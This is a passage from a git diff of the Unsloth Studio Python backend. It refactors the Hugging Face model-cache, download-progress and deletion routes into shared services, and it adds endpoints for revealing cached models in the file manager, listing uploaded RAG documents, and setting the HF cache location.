     This endpoint wraps the backend is_vision_model function.
     """
+    hf_token = _normalize_hf_token(header_hf_token) or _normalize_hf_token(hf_token)
     try:
         logger.info(f"Checking if vision model: {model_name}")
         # Authenticate so a gated/private VLM classifies correctly (else 404 -> non-vision).
@@ -2463,6 +2573,7 @@ async def check_vision_model(
 async def check_embedding_model(
     model_name: str,
     hf_token: Optional[str] = Query(None),
+    header_hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
     """
@@ -2470,6 +2581,7 @@ async def check_embedding_model(
 
     This endpoint wraps the backend is_embedding_model function.
     """
+    hf_token = _normalize_hf_token(header_hf_token) or _normalize_hf_token(hf_token)
     try:
         logger.info(f"Checking if embedding model: {model_name}")
         is_embedding = is_embedding_model(model_name, hf_token = hf_token)
@@ -2501,13 +2613,10 @@ def _read_native_context_length(repo_id: str, is_local: bool) -> Optional[int]:
         if is_local:
             roots = [Path(repo_id)]
         else:
-            from huggingface_hub import constants as hf_constants
-
+            from hub.utils.hf_cache_state import iter_repo_cache_dirs
             if not _is_valid_repo_id(repo_id):
                 return None
-            cache_dir = Path(hf_constants.HF_HUB_CACHE)
-            target = f"models--{repo_id.replace('/', '--')}".lower()
-            roots = [e for e in cache_dir.iterdir() if e.name.lower() == target]
+            roots = list(iter_repo_cache_dirs("model", repo_id))
 
         for root in roots:
             for f in _iter_gguf_paths(root):
@@ -2533,47 +2642,32 @@ def _resolve_quant_gguf(repo_id: str, quant: str, is_local: bool) -> tuple[Optio
     Q8_0 weights). Never raises.
     """
     try:
-        from utils.models.model_config import (
-            _extract_quant_label,
-            _is_big_endian_gguf_path,
-            _is_mtp_drafter,
-        )
-
         if is_local:
             roots = [Path(repo_id)]
         else:
-            from huggingface_hub import constants as hf_constants
+            from hub.utils.hf_cache_state import iter_repo_cache_dirs
 
             if not _is_valid_repo_id(repo_id):
                 return None, 0
-            cache_dir = Path(hf_constants.HF_HUB_CACHE)
-            target = f"models--{repo_id.replace('/', '--')}".lower()
             roots = []
-            for entry in cache_dir.iterdir():
-                if entry.name.lower() == target:
-                    snaps = entry / "snapshots"
-                    if snaps.is_dir():
-                        roots.extend(s for s in snaps.iterdir() if s.is_dir())
+            for entry in iter_repo_cache_dirs("model", repo_id):
+                snaps = entry / "snapshots"
+                if snaps.is_dir():
+                    roots.extend(s for s in snaps.iterdir() if s.is_dir())
 
-        want = quant.lower().replace("-", "").replace("_", "")
+        want = _normalized_quant_label(quant)
         best_total = 0
         best_first: Optional[str] = None
         for root in roots:
             matches: list[tuple[str, Path]] = []
             total = 0
             for f in _iter_gguf_paths(root):
-                if _is_mmproj_filename(f.name):
-                    continue
                 try:
                     rel = f.relative_to(root).as_posix()
                 except ValueError:
                     rel = f.name
-                if _is_mtp_drafter(rel):
-                    continue
-                q = _extract_quant_label(rel)
-                if _is_big_endian_gguf_path(rel, q):
-                    continue
-                if q.lower().replace("-", "").replace("_", "") != want:
+                q = _main_variant_gguf_label(rel)
+                if q is None or _normalized_quant_label(q) != want:
                     continue
                 try:
                     total += f.stat().st_size
@@ -2659,6 +2753,8 @@ async def get_gguf_variants(
     repo_id: str = Query(
         ..., description = "HuggingFace repo ID (e.g. 'unsloth/gemma-3-4b-it-GGUF')"
     ),
+    prefer_local_cache: bool = False,
+    local_path: Optional[str] = None,
     hf_token: Optional[str] = Query(None, description = "HuggingFace token for private repos"),
     hf_token_header: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
@@ -2670,9 +2766,16 @@ async def get_gguf_variants(
 
         response = await hub_gguf_variants.get_gguf_variants_response(
             repo_id,
+            prefer_local_cache = prefer_local_cache,
+            local_path = local_path,
             hf_token = hf_token,
         )
-        local = is_local_path(repo_id)
+        context_model = (
+            local_path
+            if prefer_local_cache and local_path and is_local_path(local_path)
+            else repo_id
+        )
+        local = is_local_path(context_model)
 
         return GgufVariantsResponse(
             repo_id = response.repo_id,
@@ -2691,7 +2794,11 @@ async def get_gguf_variants(
             ],
             has_vision = response.has_vision,
             default_variant = response.default_variant,
-            context_length = _read_native_context_length(repo_id, is_local = local),
+            # The header walk reads tokenizer arrays on dense models (tens of
+            # ms per uncached file); keep it off the event loop.
+            context_length = await asyncio.to_thread(
+                _read_native_context_length, context_model, is_local = local
+            ),
         )
     except HTTPException:
         raise
@@ -2708,69 +2815,17 @@ async def get_gguf_download_progress(
     repo_id: str = Query(..., description = "HuggingFace repo ID"),
     variant: str = Query("", description = "Quantization variant (e.g. UD-TQ1_0)"),
     expected_bytes: int = Query(0, description = "Expected total download size in bytes"),
+    hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
-    """Download progress from cached GGUF files for a specific variant.
-
-    Tracks completed shards in snapshots and in-progress (.incomplete)
-    downloads in the blobs directory.
-    """
-    try:
-        if not _is_valid_repo_id(repo_id):
-            return {
-                "downloaded_bytes": 0,
-                "expected_bytes": expected_bytes,
-                "progress": 0,
-            }
-
-        from huggingface_hub import constants as hf_constants
-
-        cache_dir = Path(hf_constants.HF_HUB_CACHE)
-        target = f"models--{repo_id.replace('/', '--')}".lower()
-        variant_lower = variant.lower().replace("-", "").replace("_", "")
-        downloaded_bytes = 0
-        in_progress_bytes = 0
-        for entry in cache_dir.iterdir():
-            if entry.name.lower() == target:
-                # Completed .gguf files for this variant in snapshots.
-                # Exclude mmproj so a vision adapter can't satisfy a same-label
-                # main variant (e.g. mmproj-F16 vs an F16 weight).
-                for f in _iter_gguf_paths(entry):
-                    if _is_mmproj_filename(f.name):
-                        continue
-                    rel = f.relative_to(entry).as_posix()
-                    quant = _extract_quant_label(rel)
-                    if _is_big_endian_gguf_path(rel, quant):
-                        continue
-                    rel_key = rel.lower().replace("-", "").replace("_", "")
-                    if not variant_lower or variant_lower in rel_key:
-                        try:
-                            downloaded_bytes += f.stat().st_size
-                        except OSError:
-                            continue  # broken symlink / unreadable: skip
-                # In-progress (.incomplete) downloads in blobs.
-                blobs_dir = entry / "blobs"
-                if blobs_dir.is_dir():
-                    for f in blobs_dir.iterdir():
-                        if f.is_file() and f.name.endswith(".incomplete"):
-                            try:
-                                in_progress_bytes += f.stat().st_size
-                            except OSError:
-                                continue
-                break
-
-        total_progress_bytes = downloaded_bytes + in_progress_bytes
-        progress = min(total_progress_bytes / expected_bytes, 0.99) if expected_bytes > 0 else 0
-        # Report 1.0 only when all bytes are in completed files.
-        if expected_bytes > 0 and downloaded_bytes >= expected_bytes:
-            progress = 1.0
-        return {
-            "downloaded_bytes": total_progress_bytes,
-            "expected_bytes": expected_bytes,
-            "progress": round(progress, 3),
-        }
-    except Exception:
-        return {"downloaded_bytes": 0, "expected_bytes": expected_bytes, "progress": 0}
+    """Compatibility route backed by the shared multi-cache progress service."""
+    from hub.services.models import downloads
+    return await downloads.get_gguf_download_progress_response(
+        repo_id,
+        variant = variant,
+        expected_bytes = expected_bytes,
+        hf_token = hf_token,
+    )
 
 
 def _resolve_hf_cache_realpath(repo_dir: Path) -> Optional[str]:
@@ -2795,98 +2850,12 @@ def _resolve_hf_cache_realpath(repo_dir: Path) -> Optional[str]:
 @router.get("/download-progress")
 async def get_download_progress(
     repo_id: str = Query(..., description = "HuggingFace repo ID"),
+    hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
-    """Return download progress for any HuggingFace model repo.
-
-    Checks the local HF cache for completed blobs and in-progress
-    (.incomplete) downloads. Gets the expected total size from the HF API
-    on the first call, then caches it for later polls. Also returns
-    ``cache_path``: the realpath of the snapshot dir (or cache repo root
-    if no snapshot yet) so the UI can show where weights live on disk.
-    """
-    _empty = {
-        "downloaded_bytes": 0,
-        "expected_bytes": 0,
-        "progress": 0,
-        "cache_path": None,
-    }
-    try:
-        if not _is_valid_repo_id(repo_id):
-            return _empty
-
-        from huggingface_hub import constants as hf_constants
-
-        cache_dir = Path(hf_constants.HF_HUB_CACHE)
-        target = f"models--{repo_id.replace('/', '--')}".lower()
-        completed_bytes = 0
-        in_progress_bytes = 0
-        cache_path: Optional[str] = None
-
-        for entry in cache_dir.iterdir():
-            if entry.name.lower() != target:
-                continue
-            cache_path = _resolve_hf_cache_realpath(entry)
-            blobs_dir = entry / "blobs"
-            if not blobs_dir.is_dir():
-                break
-            for f in blobs_dir.iterdir():
-                if not f.is_file():
-                    continue
-                if f.name.endswith(".incomplete"):
-                    in_progress_bytes += f.stat().st_size
-                else:
-                    completed_bytes += f.stat().st_size
-            break
-
-        downloaded_bytes = completed_bytes + in_progress_bytes
-        if downloaded_bytes == 0:
-            return {**_empty, "cache_path": cache_path}
-
-        expected_bytes = _get_repo_size_cached(repo_id)
-        if expected_bytes <= 0:
-            # Total unknown; report bytes only, no percentage.
-            return {
-                "downloaded_bytes": downloaded_bytes,
-                "expected_bytes": 0,
-                "progress": 0,
-                "cache_path": cache_path,
-            }
-
-        # 95% threshold (blob dedup can skew completed_bytes). Do NOT
-        # treat "no .incomplete files" as done: HF downloads sequentially,
-        # so none exist between files even when far from finished.
-        if completed_bytes >= expected_bytes * 0.95:
-            progress = 1.0
-        else:
-            progress = min(downloaded_bytes / expected_bytes, 0.99)
-        return {
-            "downloaded_bytes": downloaded_bytes,
-            "expected_bytes": expected_bytes,
-            "progress": round(progress, 3),
-            "cache_path": cache_path,
-        }
-    except Exception as e:
-        logger.warning(f"Error checking download progress for {repo_id}: {e}")
-        return _empty
-
-
-_repo_size_cache: dict[str, int] = {}
-
-
-def _get_repo_size_cached(repo_id: str) -> int:
-    if repo_id in _repo_size_cache:
-        return _repo_size_cache[repo_id]
-    try:
-        from huggingface_hub import model_info as hf_model_info
-
-        info = hf_model_info(repo_id, token = None, files_metadata = True)
-        total = sum(s.size for s in info.siblings if s.size)
-        _repo_size_cache[repo_id] = total
-        return total
-    except Exception as e:
-        logger.warning(f"Failed to get repo size for {repo_id}: {e}")
-        return 0
+    """Compatibility route backed by the shared multi-cache progress service."""
+    from hub.services.models import downloads
+    return await downloads.get_download_progress_response(repo_id, hf_token = hf_token)
 
 
 def _repo_in_any_hf_cache(model_name: str) -> bool:
@@ -2899,25 +2868,13 @@ def _repo_in_any_hf_cache(model_name: str) -> bool:
     would delete a model they did not download via the scan. Mirrors the cache set in
     ``_all_hf_cache_scans`` but only probes for the one repo dir (cheap, no full scan).
     """
-    from utils.paths import (
-        hf_default_cache_dir,
-        legacy_hf_cache_dir,
-        resolve_cached_repo_id_case,
-    )
+    from utils.paths import resolve_cached_repo_id_case
 
     dirname = f"models--{resolve_cached_repo_id_case(model_name).replace('/', '--')}"
     dirname_lower = dirname.lower()
-    candidates = []
-    try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-        candidates.append(Path(HF_HUB_CACHE))
-    except Exception:
-        pass
-    for fn in (legacy_hf_cache_dir, hf_default_cache_dir):
-        try:
-            candidates.append(fn())
-        except Exception:
-            continue
+    from hub.utils.hf_cache_state import hf_cache_roots
+
+    candidates = hf_cache_roots()
     # resolve_cached_repo_id_case only normalizes the ACTIVE cache, but discard deletes
     # case-insensitively across all caches, so detect case-insensitively too -- else a
     # pre-existing case-variant repo is misreported as scan-created and deleted on decline.
@@ -2941,38 +2898,8 @@ def _all_hf_cache_scans():
     broken symlink, OS-redirected ~/.cache) is skipped, not fatal, so the
     Downloaded list never blanks out and downloads never leak into Recommended.
     """
-    from huggingface_hub import scan_cache_dir
-    from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir
-
-    scans = []
-    # Guard the active cache too: degrade to "no downloads" instead of raising.
-    try:
-        scans.append(scan_cache_dir())
-    except Exception as exc:
-        logger.warning("Could not scan active HF cache: %s", exc)
-
-    seen: set[str] = set()
-    try:
-        # Resolve the active cache dir for dedup.
-        from huggingface_hub.constants import HF_HUB_CACHE
-        seen.add(str(Path(HF_HUB_CACHE).resolve()))
-    except Exception:
-        pass
-
-    for extra_fn in (legacy_hf_cache_dir, hf_default_cache_dir):
-        try:
-            extra = extra_fn()
-            # is_dir()/resolve() can raise on an inaccessible path; skip it.
-            if not extra.is_dir():
-                continue
-            resolved = str(extra.resolve())
-            if resolved in seen:
-                continue
-            seen.add(resolved)
-            scans.append(scan_cache_dir(cache_dir = str(extra)))
-        except Exception as exc:
-            logger.warning("Could not scan HF cache %s: %s", extra_fn.__name__, exc)
-    return scans
+    from hub.utils.inventory_scan import all_hf_cache_scans
+    return all_hf_cache_scans()
 
 
 def _is_gguf_filename(name: str) -> bool:
@@ -2991,6 +2918,22 @@ def _is_main_gguf_filename(name: str) -> bool:
     return _is_gguf_filename(name) and not _is_mmproj_filename(name)
 
 
+def _main_variant_gguf_label(rel_path: str) -> Optional[str]:
+    name = rel_path.rsplit("/", 1)[-1]
+    if not _is_main_gguf_filename(name):
+        return None
+    if _is_mtp_drafter(rel_path):
+        return None
+    label = _extract_quant_label(rel_path)
+    if _is_big_endian_gguf_path(rel_path, label):
+        return None
+    return label
+
+
+def _normalized_quant_label(label: str) -> str:
+    return label.lower().replace("-", "").replace("_", "")
+
+
 def _repo_has_mmproj(repo_info) -> bool:
     """True if the repo ships a GGUF vision adapter (mmproj), so it can
     take image inputs. Cheap: scans already-listed file names only."""
@@ -3083,7 +3026,9 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)):
                     if repo_info.repo_type != "model":
                         continue
                     repo_id = repo_info.repo_id
-                    if _is_hidden_model(repo_id):
+                    # Pass the snapshot path too so the config check also hides
+                    # custom Whisper checkpoints, not just curated repo ids.
+                    if _is_hidden_model(repo_id, str(repo_info.repo_path)):
                         continue
                     total_size = _repo_gguf_size_bytes(repo_info)
                     if total_size == 0:
@@ -3140,7 +3085,9 @@ async def list_cached_models(
                     if repo_info.repo_type != "model":
                         continue
                     repo_id = repo_info.repo_id
-                    if _is_hidden_model(repo_id):
+                    # Pass the snapshot path too so the config check also hides
+                    # custom Whisper checkpoints, not just curated repo ids.
+                    if _is_hidden_model(repo_id, str(repo_info.repo_path)):
                         continue
                     if _repo_has_gguf_files(repo_info):
                         continue
@@ -3198,124 +3145,177 @@ async def list_cached_models(
 async def delete_cached_model(
     repo_id: str = Body(...),
     variant: Optional[str] = Body(None),
+    cache_path: Optional[str] = Body(None),
+    hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
-    """Delete a cached model repo (or a specific GGUF variant) from the HF cache.
+    """Compatibility route backed by the shared multi-cache deletion service."""
+    from hub.services.models import deletion
+    return await deletion.delete_cached_model_response(repo_id, variant, hf_token, cache_path)
 
-    With *variant*, only GGUF files matching that quant label are removed
-    (e.g. ``UD-Q4_K_XL``); otherwise the whole repo is deleted. Refuses
-    if the model is currently loaded for inference.
-    """
+
+def _resolve_cached_model_path(repo_id: str, variant: Optional[str]) -> Path:
+    """Absolute path of a cached repo (newest snapshot dir) or, with *variant*,
+    that quant's main GGUF file (first split of a sharded quant). Paths come
+    from the HF cache scan only, so callers can't probe arbitrary paths."""
+    cache_scans = _all_hf_cache_scans()
+
+    matching_repos = []
+    for hf_cache in cache_scans:
+        for repo_info in hf_cache.repos:
+            if repo_info.repo_type != "model":
+                continue
+            if repo_info.repo_id.lower() == repo_id.lower():
+                matching_repos.append(repo_info)
+    if not matching_repos:
+        raise HTTPException(status_code = 404, detail = "Model not found in cache")
+
+    if variant:
+        want = _normalized_quant_label(variant)
+        candidate_revisions = sorted(
+            (rev for repo_info in matching_repos for rev in repo_info.revisions),
+            key = lambda rev: getattr(rev, "last_modified", 0) or 0,
+            reverse = True,
+        )
+        for rev in candidate_revisions:
+            snapshot = getattr(rev, "snapshot_path", None)
+            matches = []
+            for f in rev.files:
+                p = Path(f.file_path)
+                rel = f.file_name
+                if snapshot:
+                    try:
+                        rel = p.relative_to(snapshot).as_posix()
+                    except ValueError:
+                        pass
+                label = _main_variant_gguf_label(rel)
+                if label is None or _normalized_quant_label(label) != want:
+                    continue
+                if p.exists() or p.is_symlink():
+                    matches.append((rel, p))
+            if matches:
+                # Path-sorted so a sharded quant deterministically yields its first split.
+                return sorted(matches, key = lambda m: m[0].lower())[0][1]
+        raise HTTPException(
+            status_code = 404,
+            detail = f"Variant {variant} not found in cache for {repo_id}",
+        )
+
+    def repo_size(repo_info) -> int:
+        gguf_size = _repo_gguf_size_bytes(repo_info)
+        if gguf_size > 0:
+            return gguf_size
+        return sum(
+            (getattr(f, "size_on_disk", None) or 0)
+            for rev in repo_info.revisions
+            for f in rev.files
+        )
+
+    def repo_last_modified(repo_info) -> float:
+        return max(
+            (getattr(rev, "last_modified", 0) or 0 for rev in repo_info.revisions),
+            default = 0,
+        )
+
+    target_repo = max(
+        matching_repos,
+        key = lambda repo_info: (repo_size(repo_info), repo_last_modified(repo_info)),
+    )
+
+    # Whole repo: the newest revision's snapshot dir holds the visible files.
+    revisions = sorted(
+        (rev for rev in target_repo.revisions if getattr(rev, "snapshot_path", None)),
+        key = lambda rev: getattr(rev, "last_modified", 0) or 0,
+        reverse = True,
+    )
+    for rev in revisions:
+        p = Path(rev.snapshot_path)
+        if p.exists():
+            return p
+    p = Path(target_repo.repo_path)
+    if p.exists():
+        return p
+    raise HTTPException(status_code = 404, detail = "Cached model path not found")
+
+
+def _wsl_reveal_in_explorer(path: Path) -> bool:
+    import subprocess
+
+    from utils.paths.path_utils import _IS_WSL
+
+    if not _IS_WSL:
+        return False
+    try:
+        windows_path = subprocess.run(
+            ["wslpath", "-w", str(path)],
+            capture_output = True,
+            text = True,
+            check = True,
+            timeout = 10,
+        ).stdout.strip()
+        if not windows_path:
+            return False
+        argument = f"/select,{windows_path}" if path.is_file() else windows_path
+        subprocess.Popen(["explorer.exe", argument])
+        return True
+    except (OSError, subprocess.SubprocessError):
+        return False
+
+
+def _reveal_in_file_manager(path: Path) -> None:
+    """Open the OS file manager with *path* selected (best effort per platform)."""
+    import subprocess
+
+    target = str(path)
+    if sys.platform == "darwin":
+        cmd = ["open", "-R", target] if path.is_file() else ["open", target]
+        subprocess.Popen(cmd)
+    elif os.name == "nt":
+        if path.is_file():
+            subprocess.Popen(["explorer", f"/select,{target}"])
+        else:
+            os.startfile(target)  # noqa: S606 - local user's own file manager
+    elif not _wsl_reveal_in_explorer(path):
+        # No cross-desktop "select file" standard on Linux; open the directory.
+        directory = target if path.is_dir() else str(path.parent)
+        subprocess.Popen(["xdg-open", directory])
+
+
+class CachedModelPathResponse(BaseModel):
+    path: str
+    is_dir: bool
+
+
+@router.get("/cached-model-path", response_model = CachedModelPathResponse)
+async def get_cached_model_path(
+    repo_id: str = Query(..., description = "HuggingFace repo ID"),
+    variant: str = Query("", description = "Quantization variant (empty for whole repo)"),
+    current_subject: str = Depends(get_current_subject),
+):
+    """Absolute on-disk path of a cached repo or one of its GGUF variants."""
     if not _is_valid_repo_id(repo_id):
         raise HTTPException(status_code = 400, detail = "Invalid repo_id format")
+    path = await asyncio.to_thread(_resolve_cached_model_path, repo_id, variant.strip() or None)
+    return {"path": str(path), "is_dir": path.is_dir()}
 
-    # Refuse if the model is currently loaded.
+
+@router.post("/reveal-cached-model")
+async def reveal_cached_model(
+    repo_id: str = Body(...),
+    variant: Optional[str] = Body(None),
+    current_subject: str = Depends(get_current_subject),
+):
+    """Reveal a cached repo (or one GGUF variant's file) in the OS file manager."""
+    if not _is_valid_repo_id(repo_id):
+        raise HTTPException(status_code = 400, detail = "Invalid repo_id format")
+    variant = (variant or "").strip() or None
+    path = await asyncio.to_thread(_resolve_cached_model_path, repo_id, variant)
     try:
-        from routes.inference import get_llama_cpp_backend
-        llama_backend = get_llama_cpp_backend()
-        if llama_backend.is_loaded and llama_backend.model_identifier:
-            loaded_id = llama_backend.model_identifier.lower()
-            if loaded_id == repo_id.lower() or loaded_id.startswith(repo_id.lower()):
-                raise HTTPException(
-                    status_code = 400,
-                    detail = "Unload the model before deleting",
-                )
-    except HTTPException:
-        raise
-    except Exception:
-        pass
-
-    try:
-        inference_backend = get_inference_backend()
-        if inference_backend.active_model_name:
-            active = inference_backend.active_model_name.lower()
-            if active == repo_id.lower() or active.startswith(repo_id.lower()):
-                raise HTTPException(
-                    status_code = 400,
-                    detail = "Unload the model before deleting",
-                )
-    except HTTPException:
-        raise
-    except Exception:
-        pass
-
-    try:
-        cache_scans = _all_hf_cache_scans()
-
-        target_repo = None
-        for hf_cache in cache_scans:
-            for repo_info in hf_cache.repos:
-                if repo_info.repo_type != "model":
-                    continue
-                if repo_info.repo_id.lower() == repo_id.lower():
-                    target_repo = repo_info
-                    break
-            if target_repo is not None:
-                break
-
-        if target_repo is None:
-            raise HTTPException(status_code = 404, detail = "Model not found in cache")
-
-        # ── Per-variant GGUF deletion ────────────────────────────
-        if variant:
-            deleted_bytes = 0
-            deleted_count = 0
-            for rev in target_repo.revisions:
-                for f in rev.files:
-                    if not _is_gguf_filename(f.file_name):
-                        continue
-                    quant = _extract_quant_label(f.file_name)
-                    if quant.lower() != variant.lower():
-                        continue
-                    # Delete the blob (data) and the snapshot symlink.
-                    try:
-                        blob = Path(f.blob_path)
-                        snap = Path(f.file_path)
-                        size = blob.stat().st_size if blob.exists() else 0
-                        if snap.exists() or snap.is_symlink():
-                            snap.unlink()
-                        if blob.exists():
-                            blob.unlink()
-                        deleted_bytes += size
-                        deleted_count += 1
-                    except Exception as e:
-                        logger.warning(f"Failed to delete {f.file_name}: {e}")
-
-            if deleted_count == 0:
-                raise HTTPException(
-                    status_code = 404,
-                    detail = f"Variant {variant} not found in cache for {repo_id}",
-                )
-
-            freed_mb = deleted_bytes / (1024 * 1024)
-            logger.info(
-                f"Deleted {deleted_count} file(s) for {repo_id} variant {variant}: "
-                f"{freed_mb:.1f} MB freed"
-            )
-            return {"status": "deleted", "repo_id": repo_id, "variant": variant}
-
-        # ── Full repo deletion ───────────────────────────────────
-        revision_hashes = [rev.commit_hash for rev in target_repo.revisions]
-        if not revision_hashes:
-            raise HTTPException(status_code = 404, detail = "No revisions found for model")
-
-        delete_strategy = hf_cache.delete_revisions(*revision_hashes)
-        logger.info(
-            f"Deleting cached model {repo_id}: "
-            f"{delete_strategy.expected_freed_size_str} will be freed"
-        )
-        delete_strategy.execute()
-
-        return {"status": "deleted", "repo_id": repo_id}
-
-    except HTTPException:
-        raise
+        await asyncio.to_thread(_reveal_in_file_manager, path)
     except Exception as e:
-        logger.error(f"Error deleting cached model {repo_id}: {e}", exc_info = True)
-        raise HTTPException(
-            status_code = 500,
-            detail = "Failed to delete cached model",
-        )
+        logger.error(f"Failed to reveal {path}: {e}")
+        raise HTTPException(status_code = 500, detail = "Failed to open file manager")
+    return {"status": "ok", "path": str(path)}
 
 
 @router.get("/checkpoints", response_model = CheckpointListResponse)
@@ -3369,7 +3369,7 @@ _EXPORT_SIZE_CACHE: dict[str, tuple[int, int, str]] = {}
 
 
 def _is_sizable_local_path(model: str) -> bool:
-    """True only for local paths under a Studio data root.
+    """True only for local paths under an Unsloth data root.
 
     Containment is decided lexically (no filesystem access) before the path is
     touched, then the path is symlink-resolved and re-checked so a symlink
diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py
index e20fea74a3..392a4e0d02 100644
--- a/studio/backend/routes/rag.py
+++ b/studio/backend/routes/rag.py
@@ -318,6 +318,39 @@ def list_project_documents(project_id: str, subject: str = Depends(get_current_s
         conn.close()
 
 
+@router.get("/documents")
+def list_all_uploaded_documents(subject: str = Depends(get_current_subject)) -> dict:
+    """Every uploaded file across chats, projects, and knowledge bases (settings
+    Data tab)."""
+    _require_rag()
+    conn = rag_db.get_connection()
+    try:
+        docs = store.list_all_documents(conn)
+        kb_names = {kb["id"]: kb["name"] for kb in store.list_kbs(conn)}
+    finally:
+        conn.close()
+
+    from storage.studio_db import list_chat_projects
+
+    project_names = {p["id"]: p["name"] for p in list_chat_projects(include_archived = True)}
+
+    out = []
+    for doc in docs:
+        view = _doc_view(doc)
+        stored_path = doc.get("stored_path")
+        size = None
+        if stored_path:
+            try:
+                size = os.path.getsize(stored_path)
+            except OSError:
+                size = None
+        view["sizeBytes"] = size
+        view["kbName"] = kb_names.get(doc.get("kb_id"))
+        view["projectName"] = project_names.get(doc.get("project_id"))
+        out.append(view)
+    return {"documents": out}
+
+
 @router.delete("/documents/{document_id}")
 def delete_document(document_id: str, subject: str = Depends(get_current_subject)) -> dict:
     _require_rag()
@@ -424,8 +457,10 @@ _CONTENT_TYPES = {
     ".txt": "text/plain; charset=utf-8",
     ".md": "text/markdown; charset=utf-8",
     ".markdown": "text/markdown; charset=utf-8",
-    ".html": "text/html; charset=utf-8",
-    ".htm": "text/html; charset=utf-8",
+    # Served as plain text, never text/html: an uploaded HTML document rendered
+    # same-origin would execute its scripts with access to the app's storage.
+    ".html": "text/plain; charset=utf-8",
+    ".htm": "text/plain; charset=utf-8",
     ".docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
 }
 
diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index 862bce8be8..fef18a9145 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -1,6 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import re
 from typing import Literal, Optional
 from urllib.parse import unquote, urlsplit
 
@@ -9,6 +10,7 @@ from pydantic import BaseModel, ConfigDict, Field, field_validator
 
 from auth.authentication import get_current_subject
 from auth.storage import rotate_preview_link_secret
+from core.rag.config import default_gguf_repo, effective_gguf_repo
 from loggers import get_logger
 from utils.utils import safe_error_detail, log_and_http_error
 from utils.personalization_settings import (
@@ -32,10 +34,12 @@ from utils.helper_precache_settings import (
     helper_model_disabled_by_env,
     set_helper_precache_enabled,
 )
+from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents
 from utils.openai_auto_switch_settings import (
-    DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
+    DEFAULT_AUTO_UNLOAD_KEEP_KV,
     DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
     get_auto_unload_idle_seconds,
+    get_auto_unload_keep_kv,
     get_model_overrides,
     get_openai_auto_switch_enabled,
     get_stored_auto_unload_idle_seconds,
@@ -56,6 +60,7 @@ from utils.embedding_model_settings import (
     set_rag_embedding_model,
     validate_embedding_model,
 )
+from utils.hf_cache_settings import cache_status, get_hf_cache_paths, set_hf_cache_home
 
 router = APIRouter()
 
@@ -85,9 +90,28 @@ class HelperPrecacheResponse(BaseModel):
     disabled_by_env: bool
 
 
+class HuggingFaceCachePayload(BaseModel):
+    cache_home: Optional[str] = Field(default = None, max_length = 4096)
+
+
+class HuggingFaceCacheResponse(BaseModel):
+    cache_home: str
+    hub_cache: str
+    xet_cache: str
+    source: Literal["default", "studio", "environment"]
+    editable: bool
+    is_custom: bool
+    available: bool
+    writable: bool
+    free_bytes: Optional[int] = None
+    environment_variable: Optional[str] = None
+
+
 class OpenAIAutoSwitchPayload(BaseModel):
     enabled: bool
-    auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0)
+    # None leaves the stored value untouched (partial updates can't clobber it).
+    auto_unload_idle_seconds: Optional[int] = Field(default = None, ge = 0)
+    auto_unload_keep_kv: Optional[bool] = None
 
 
 class OpenAIAutoSwitchResponse(BaseModel):
@@ -98,6 +122,7 @@ class OpenAIAutoSwitchResponse(BaseModel):
     # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled
     # is false, so the UI can show idle-unload as active instead of "needs enable".
     idle_unload_active: bool = False
+    auto_unload_keep_kv: bool = DEFAULT_AUTO_UNLOAD_KEEP_KV
 
 
 class ModelOverridePayload(BaseModel):
@@ -128,6 +153,30 @@ def _helper_precache_response(enabled: bool | None = None) -> HelperPrecacheResp
     )
 
 
+def _hugging_face_cache_response() -> HuggingFaceCacheResponse:
+    return HuggingFaceCacheResponse(**cache_status(get_hf_cache_paths()))
+
+
+@router.get("/hugging-face-cache", response_model = HuggingFaceCacheResponse)
+def get_hugging_face_cache(
+    current_subject: str = Depends(get_current_subject),
+) -> HuggingFaceCacheResponse:
+    return _hugging_face_cache_response()
+
+
+@router.put("/hugging-face-cache", response_model = HuggingFaceCacheResponse)
+def update_hugging_face_cache(
+    payload: HuggingFaceCachePayload, current_subject: str = Depends(get_current_subject)
+) -> HuggingFaceCacheResponse:
+    try:
+        set_hf_cache_home(payload.cache_home)
+    except RuntimeError as exc:
+        raise HTTPException(status_code = 409, detail = str(exc)) from exc
+    except ValueError as exc:
+        raise HTTPException(status_code = 400, detail = str(exc)) from exc
+    return _hugging_face_cache_response()
+
+
 @router.get("/upload-limit", response_model = UploadLimitResponse)
 def get_upload_limit(current_subject: str = Depends(get_current_subject)) -> UploadLimitResponse:
     return _upload_limit_response(get_upload_limit_mb())
@@ -174,6 +223,19 @@ def update_helper_precache(
     return _helper_precache_response(enabled)
 
 
+class CodingAgentsResponse(BaseModel):
+    # All agents `unsloth start` supports, in the CLI's declared order.
+    agents: tuple[str, ...] = CODING_AGENTS
+    # Subset of `agents` whose CLI binary was found on PATH; the frontend uses
+    # this to default the API-keys panel to a command the user can run as-is.
+    detected: list[str]
+
+
+@router.get("/coding-agents", response_model = CodingAgentsResponse)
+def get_coding_agents(current_subject: str = Depends(get_current_subject)) -> CodingAgentsResponse:
+    return CodingAgentsResponse(detected = detect_installed_coding_agents())
+
+
 @router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
 def get_openai_auto_switch(
     current_subject: str = Depends(get_current_subject),
@@ -182,6 +244,7 @@ def get_openai_auto_switch(
         enabled = get_openai_auto_switch_enabled(),
         auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(),
         idle_unload_active = get_auto_unload_idle_seconds() > 0,
